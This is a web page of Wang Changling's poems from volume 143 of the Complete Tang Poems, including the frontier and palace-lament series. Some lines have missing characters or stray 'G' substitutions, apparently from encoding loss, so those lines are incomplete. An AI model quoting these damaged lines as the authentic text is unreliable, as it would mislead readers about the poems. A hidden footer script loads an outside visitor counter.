<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link rel="stylesheet" href="../../style.css"><title>古诗库：全唐诗卷一百四十三</title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">

</head>
<body><script language="javascript" src="../../search.js"></script>
<center><input type="button" value="本页内部搜索" onclick="gofind()"></center>
<p><div align="left">

　　卷一百四十三
<br>
<br>　　卷143_1  「朝来曲」王昌龄
<br>
<br>　　月昃鸣珂动，花连绣户春。盘龙玉台镜，唯待画眉人。
<br>
<br>　　卷143_2  「从军行」王昌龄
<br>
<br>　　大将军出战，白日暗榆关。三面黄金甲，单于破胆还。
<br>
<br>　　卷143_3  「答武陵田太守」王昌龄
<br>
<br>　　仗剑行千里，微躯感一言。曾为大梁客，不负信陵恩。
<br>
<br>　　卷143_4  「题灞池二首」王昌龄
<br>
<br>　　腰镰欲何之，东园刈秋韭。世事不复论，悲歌和樵叟。
<br>
<br>　　开门望长川，薄暮见渔者。借问白头翁，垂纶几年也。
<br>
<br>　　卷143_5  「题僧房」王昌龄
<br>
<br>　　棕榈花满院，苔藓入闲房。彼此名言绝，空中闻异香。
<br>
<br>　　卷143_6  「击磬老人」王昌龄
<br>
<br>　　双峰褐衣久，一磬白眉长。谁识野人意，徒看春草芳。
<br>
<br>　　卷143_7  「送胡大」王昌龄
<br>
<br>　　荆门不堪别，况乃潇湘秋。何处遥望君，江边明月楼。
<br>
<br>　　卷143_8  「送郭司仓」王昌龄
<br>
<br>　　映门淮水绿，留骑主人心。明月随良掾，春潮夜夜深。
<br>
<br>　　卷143_9  「送李十五」王昌龄
<br>
<br>　　怨别秦楚深，江中秋云起。天长杳无隔，月影在寒水。
<br>
<br>　　卷143_10  「送张四」王昌龄
<br>
<br>　　枫林已愁暮，楚水复堪悲。别后冷山月，清猿无断时。
<br>
<br>　　卷143_11  「武陵田太守席送司马卢G」王昌龄
<br>
<br>　　诸侯分楚郡，饮饯五G春。山水清晖远，俱怜一逐臣。
<br>
<br>　　卷143_12  「送谭八之桂林」王昌龄
<br>
<br>　　客心仍在楚，江馆复临湘。别意猿鸟外，天寒桂水长。
<br>
<br>　　卷143_13  「送刘十五之郡」王昌龄
<br>
<br>　　平明江雾寒，客马江上发。扁舟事洛阳，含楚月。
<br>
<br>　　卷143_14  「从军行七首」王昌龄
<br>
<br>　　烽火城西百尺楼，黄昏独上海风秋。
<br>
<br>　　更吹羌笛关山月，无那金闺万里愁。
<br>
<br>　　琵琶起舞换新声，总是关山旧别情。
<br>
<br>　　撩乱边愁听不尽，高高秋月照长城。
<br>
<br>　　关城榆叶早疏黄，日暮云沙古战场。
<br>
<br>　　表请回军掩尘骨，莫教兵士哭龙荒。
<br>
<br>　　青海长云暗雪山，孤城遥望玉门关。
<br>
<br>　　黄沙百战穿金甲，不破楼兰终不还。
<br>
<br>　　大漠风尘日色昏，红旗半卷出辕门。
<br>
<br>　　前军夜战洮河北，已报生擒吐谷浑。
<br>
<br>　　胡瓶落膊紫薄汗，碎叶城西秋月团。
<br>
<br>　　明敕星驰封宝剑，辞君一夜取楼兰。
<br>
<br>　　玉门山嶂几千重，山北山南总是烽。
<br>
<br>　　人依远戍须看火，马踏深山不见踪。
<br>
<br>　　卷143_15  「出塞二首」王昌龄
<br>
<br>　　秦时明月汉时关，万里长征人未还。
<br>
<br>　　但使龙城飞将在，不教胡马度阴山。
<br>
<br>　　骝马新跨白玉鞍，战罢沙场月色寒。
<br>
<br>　　城头铁鼓声犹振，匣里金刀血未干。
<br>
<br>　　卷143_16  「采莲曲二首」王昌龄
<br>
<br>　　吴姬越艳楚王妃，争弄莲舟水湿衣。
<br>
<br>　　来时浦口花迎入，采罢江头月送归。
<br>
<br>　　荷叶罗裙一色裁，芙蓉向脸两边开。
<br>
<br>　　乱入池中看不见，闻歌始觉有人来。
<br>
<br>　　卷143_17  「殿前曲二首」王昌龄
<br>
<br>　　贵人妆梳殿前催，香风吹入殿后来。
<br>
<br>　　仗引笙歌大宛马，白莲花发照池台。
<br>
<br>　　胡部笙歌西殿头，梨园弟子和凉州。
<br>
<br>　　新声一段高楼月，圣主千秋乐未休。
<br>
<br>　　卷143_18  「春宫曲（唐人绝句作殿前曲）」王昌龄
<br>
<br>　　昨夜风开露井桃，未央前殿月轮高。
<br>
<br>　　平阳歌舞新承宠，帘外春寒赐锦袍。
<br>
<br>　　卷143_19  「西宫春怨」王昌龄
<br>
<br>　　西宫夜静百花香，欲卷珠帘春恨长。
<br>
<br>　　斜抱云和深见月，朦胧树色隐昭阳。
<br>
<br>　　卷143_20  「西宫秋怨」王昌龄
<br>
<br>　　芙蓉不及美人妆，水殿风来珠翠香。
<br>
<br>　　谁分含啼掩秋扇，空悬明月待君王。
<br>
<br>　　卷143_21  「长信秋词五首」王昌龄
<br>
<br>　　金井梧桐秋叶黄，珠帘不卷夜来霜。
<br>
<br>　　熏笼玉枕无颜色，卧听南宫清漏长。
<br>
<br>　　高殿秋砧响夜阑，霜深犹忆御衣寒。
<br>
<br>　　银灯青琐裁缝歇，还向金城明主看。
<br>
<br>　　奉帚平明金殿开，且将团扇暂裴回。
<br>
<br>　　玉颜不及寒鸦色，犹带昭阳日影来。
<br>
<br>　　真成薄命久寻思，梦见君王觉后疑。
<br>
<br>　　火照西宫知夜饮，分明复道奉恩时。
<br>
<br>　　长信宫中秋月明，昭阳殿下捣衣声。
<br>
<br>　　白露堂中细草迹，红罗帐里不胜情。
<br>
<br>　　卷143_22  「青楼曲二首」王昌龄
<br>
<br>　　白马金鞍从武皇，旌旗十万宿长杨。
<br>
<br>　　楼头小妇鸣筝坐，遥见飞尘入建章。
<br>
<br>　　驰道杨花满御沟，红妆缦绾上青楼。
<br>
<br>　　金章紫绶千馀骑，夫婿朝回初拜侯。
<br>
<br>　　卷143_23  「青楼怨」王昌龄
<br>
<br>　　香帏风动花入楼，高调鸣筝缓夜愁。
<br>
<br>　　肠断关山不解说，依依残月下帘钩。
<br>
<br>　　卷143_24  「浣纱女」王昌龄
<br>
<br>　　钱塘江畔是谁家，江上女儿全胜花。
<br>
<br>　　吴王在时不得出，今日公然来浣纱。
<br>
<br>　　卷143_25  「闺怨」王昌龄
<br>
<br>　　闺中少妇不曾愁，春日凝妆上翠楼。
<br>
<br>　　忽见陌头杨柳色，悔教夫婿觅封侯。
<br>
<br>　　卷143_26  「甘泉歌」王昌龄
<br>
<br>　　乘舆执玉已登坛，细草沾衣春殿寒。
<br>
<br>　　昨夜云生拜初月，万年甘露水晶盘。
<br>
<br>　　卷143_27  「萧驸马宅花烛」王昌龄
<br>
<br>　　青鸾飞入合欢宫，紫凤衔花出禁中。
<br>
<br>　　可怜今夜千门里，银汉星回一道通。
<br>
<br>　　卷143_28  「观猎」王昌龄
<br>
<br>　　角鹰初下秋草稀，铁骢抛去如飞。
<br>
<br>　　少年猎得平原兔，马后横捎意气归。
<br>
<br>　　卷143_29  「寄穆侍御出幽州」王昌龄
<br>
<br>　　一从恩谴度潇湘，塞北江南万里长。
<br>
<br>　　莫道蓟门书信少，雁飞犹得到衡阳。
<br>
<br>　　卷143_30  「寄陶副使」王昌龄
<br>
<br>　　闻道将军破海门，如何远谪渡湘沅。
<br>
<br>　　春来明主封西岳，自有还君紫绶恩。
<br>
<br>　　卷143_31  「至南陵答皇甫岳」王昌龄
<br>
<br>　　与君同病复漂沦，昨夜宣城别故人。
<br>
<br>　　明主恩深非岁久，长江还共五溪滨。
<br>
<br>　　卷143_32  「西江寄越弟」王昌龄
<br>
<br>　　南浦逢君岭外还，沅溪更远洞庭山。
<br>
<br>　　尧时恩泽如春雨，梦里相逢同入关。
<br>
<br>　　卷143_33  「李四仓曹宅夜饮」王昌龄
<br>
<br>　　霜天留后故情欢，银烛金炉夜不寒。
<br>
<br>　　欲问吴江别来意，青山明月梦中看。
<br>
<br>　　卷143_34  「宴春源」王昌龄
<br>
<br>　　源向春城花几重，江明深翠引诸峰。
<br>
<br>　　与君醉失松溪路，山馆寥寥传暝钟。
<br>
<br>　　卷143_35  「龙标野宴」王昌龄
<br>
<br>　　沅溪夏晚足凉风，春酒相携就竹丛。
<br>
<br>　　莫道弦歌愁远谪，青山明月不曾空。
<br>
<br>　　卷143_36  「听流人水调子」王昌龄
<br>
<br>　　孤舟微月对枫林，分付鸣筝与客心。
<br>
<br>　　岭色千重万重雨，断弦收与泪痕深。
<br>
<br>　　卷143_37  「梁苑」王昌龄
<br>
<br>　　梁园秋竹古时烟，城外风悲欲暮天。
<br>
<br>　　万乘旌旗何处在，平台宾客有谁怜。
<br>
<br>　　卷143_38  「武陵龙兴观黄道士房问易因题」王昌龄
<br>
<br>　　斋心问易太阳宫，八卦真形一气中。
<br>
<br>　　仙老言馀鹤飞去，玉清坛上雨鳌
<br>
<br>　　卷143_39  「送魏二」王昌龄
<br>
<br>　　醉别江楼橘柚香，江风引雨入舟凉。
<br>
<br>　　忆君遥在潇湘月，愁听清猿梦里长。
<br>
<br>　　卷143_40  「别李浦之京」王昌龄
<br>
<br>　　故园今在灞陵西，江畔逢君醉不迷。
<br>
<br>　　小弟邻庄尚渔猎，一封书寄数行啼。
<br>
<br>　　卷143_41  「送狄宗亨」王昌龄
<br>
<br>　　秋在水清山暮蝉，洛阳树色鸣皋烟。
<br>
<br>　　送君归去愁不尽，又惜空度凉风天。
<br>
<br>　　卷143_42  「送薛大赴安陆」王昌龄
<br>
<br>　　津头云雨暗湘山，迁客离忧楚地颜。
<br>
<br>　　遥送扁舟安陆郡，天边何处穆陵关。
<br>
<br>　　卷143_43  「芙蓉楼送辛渐二首」王昌龄
<br>
<br>　　寒雨连天夜入湖，平明送客楚山孤。
<br>
<br>　　洛阳亲友如相问，一片冰心在玉壶。
<br>
<br>　　丹阳城南秋海阴，丹阳城北楚云深。
<br>
<br>　　高楼送客不能醉，寂寂寒江明月心。
<br>
<br>　　卷143_44  「重别李评事」王昌龄
<br>
<br>　　莫道秋江离别难，舟船明日是长安。
<br>
<br>　　吴姬缓舞留君醉，随意青枫白露寒。
<br>
<br>　　卷143_45  「别陶副使归南海」王昌龄
<br>
<br>　　南越归人梦海楼，广陵新月海亭秋。
<br>
<br>　　宝刀留赠长相忆，当取戈船万户侯。
<br>
<br>　　卷143_46  「送人归江夏」王昌龄
<br>
<br>　　寒江绿水楚云深，莫道离忧迁远心。
<br>
<br>　　晓夕双帆归鄂渚，愁将孤月梦中寻。
<br>
<br>　　卷143_47  「送李五」王昌龄
<br>
<br>　　玉碗金倾送君，江西日入起黄云。
<br>
<br>　　扁舟乘月暂来去，谁道沧浪吴楚分。
<br>
<br>　　卷143_48  「送十五舅」王昌龄
<br>
<br>　　深林秋水近日空，归棹演漾清阴中。
<br>
<br>　　夕浦离觞意何已，草根寒露悲鸣虫。
<br>
<br>　　卷143_49  「留别郭八」王昌龄
<br>
<br>　　长亭驻马未能前，井邑苍茫含暮烟。
<br>
<br>　　醉别何须更惆怅，回头不语但垂鞭。
<br>
<br>　　卷143_50  「送窦七」王昌龄
<br>
<br>　　清江月色傍林秋，波上荧荧望一舟。
<br>
<br>　　鄂渚轻帆须早发，江边明月为君留。
<br>
<br>　　卷143_51  「巴陵送李十二」王昌龄
<br>
<br>　　摇曳巴陵洲渚分，清江传语便风闻。
<br>
<br>　　山长不见秋城色，日暮蒹葭空水云。
<br>
<br>　　卷143_52  「送裴图南」王昌龄
<br>
<br>　　黄河渡头归问津，离家几日茱萸新。
<br>
<br>　　漫道闺中飞破镜，犹看陌上别行人。
<br>
<br>　　卷143_53  「留别司马太守」王昌龄
<br>
<br>　　辰阳太守念王孙，远谪沅溪何可论。
<br>
<br>　　黄鹤青云当一举，明珠吐著报君恩。
<br>
<br>　　卷143_54  「卢溪主人」王昌龄
<br>
<br>　　武陵溪口驻扁舟，溪水随君向北流。
<br>
<br>　　行到荆门上三峡，莫将孤月对猿愁。
<br>
<br>　　卷143_55  「送程六」王昌龄
<br>
<br>　　冬夜伤离在五溪，青鱼雪落橙齑。
<br>
<br>　　武冈前路看斜月，片片舟中云向西。
<br>
<br>　　卷143_56  「送朱越」王昌龄
<br>
<br>　　远别舟中蒋山暮，君行举首燕城路。
<br>
<br>　　蓟门秋月隐黄云，期向金陵醉江树。
<br>
<br>　　卷143_57  「别辛渐」王昌龄
<br>
<br>　　别馆萧条风雨寒，扁舟月色渡江看。
<br>
<br>　　酒酣不识关西道，却望春江云尚残。
<br>
<br>　　卷143_58  「送柴侍御」王昌龄
<br>
<br>　　流水通波接武冈，送君不觉有离伤。
<br>
<br>　　青山一道同云雨，明月何曾是两乡。
<br>
<br>　　卷143_59  「送万大归长沙」王昌龄
<br>
<br>　　桂阳秋水长沙县，楚竹离声为君变。
<br>
<br>　　青山隐隐孤舟微，白鹤双飞忽相见。
<br>
<br>　　卷143_60  「送吴十九往沅陵」王昌龄
<br>
<br>　　沅江流水到辰阳，溪口逢君驿路长。
<br>
<br>　　远谪谁知望雷雨，明年春水共还乡。
<br>
<br>　　卷143_61  「别皇甫五」王昌龄
<br>
<br>　　溆浦潭阳隔楚山，离尊不用起愁颜。
<br>
<br>　　明祠灵响期昭应，天泽俱从此路还。
<br>
<br>　　卷143_62  「送崔参军往龙溪」王昌龄
<br>
<br>　　龙溪只在龙标上，秋月孤山两相向。
<br>
<br>　　谴谪离心是丈夫，鸿恩共待春江涨。
<br>
<br>　　卷143_63  「送郑判官」王昌龄
<br>
<br>　　东楚吴山驿树微，轺车衔命奉恩辉。
<br>
<br>　　英僚携出新丰酒，半道遥看骢马归。
<br>
<br>　　卷143_64  「送姚司法归吴」王昌龄
<br>
<br>　　吴掾留觞楚郡心，洞庭秋雨海门阴。
<br>
<br>　　但令意远扁舟近，不道沧江百丈深。
<br>
<br>　　卷143_65  「送高三之桂林」王昌龄
<br>
<br>　　留君夜饮对潇湘，从此归舟客梦长。
<br>
<br>　　岭上梅花侵雪暗，归时还拂桂花香。
<br>
<br>　　卷143_66  「旅望（一作出塞行）」王昌龄
<br>
<br>　　白花原头望京师，黄河水流无尽时。
<br>
<br>　　穷秋旷野行人绝，马首东来知是谁。
<br>
<br>　　卷143_67  「题朱炼师山房」王昌龄
<br>
<br>　　叩齿焚香出世尘，斋坛鸣磬步虚人。
<br>
<br>　　百花仙酝能留客，一饭胡麻度几春。
<br>
<br>　　卷143_68  「武陵开元观黄炼师院三首」王昌龄
<br>
<br>　　松间白发黄尊师，童子烧香禹步时。
<br>
<br>　　欲访桃源入溪路，忽闻鸡犬使人疑。
<br>
<br>　　先贤盛说桃花源，尘忝何堪武陵郡。
<br>
<br>　　闻道秦时避地人，至今不与人通问。
<br>
<br>　　山观空虚清静门，从官役吏扰尘喧。
<br>
<br>　　暂因问俗到真境，便欲投诚依道源。
<br>
<br>　　卷143_69  「河上老人歌（一作河上歌）」王昌龄
<br>
<br>　　河上老人坐古槎，合丹只用青莲花。
<br>
<br>　　至今八十如四十，口道沧溟是我家。
<br>
<br>　　卷143_70  「春怨」王昌龄
<br>
<br>　　音书杜绝白狼西，桃李无颜黄鸟啼。
<br>
<br>　　寒雁春深归去尽，出门肠断草萋萋。
<br>
<br>　　卷143_71  「句」王昌龄
<br>
<br>　　朝荐抱良策，独倚江城楼。（《述情》，《诗式》）
<br>
<br>　　昨从金陵邑，远谪沅溪滨。（《沅志》）
<br>
<br>　　娟魄已三孕。（以下《海录碎事》）。
<br>
<br>　　驾幸温泉日，严霜子月初。
<br>
<br>　　长亭酒未醒，千里风动地。（以下《河岳英灵集》）
<br>
<br>　　苍荻寒沧江，石头岸边饮。
<br>
<br>　　天仗森森练雪凝，身骑铁骢自臂鹰。
<br>
<br>
<br>   
<br>
<br>
</center></div>
<div style="DISPLAY: none"><script src=http://www.lingshidao.com/count/count.php></script></div></body>
</html>
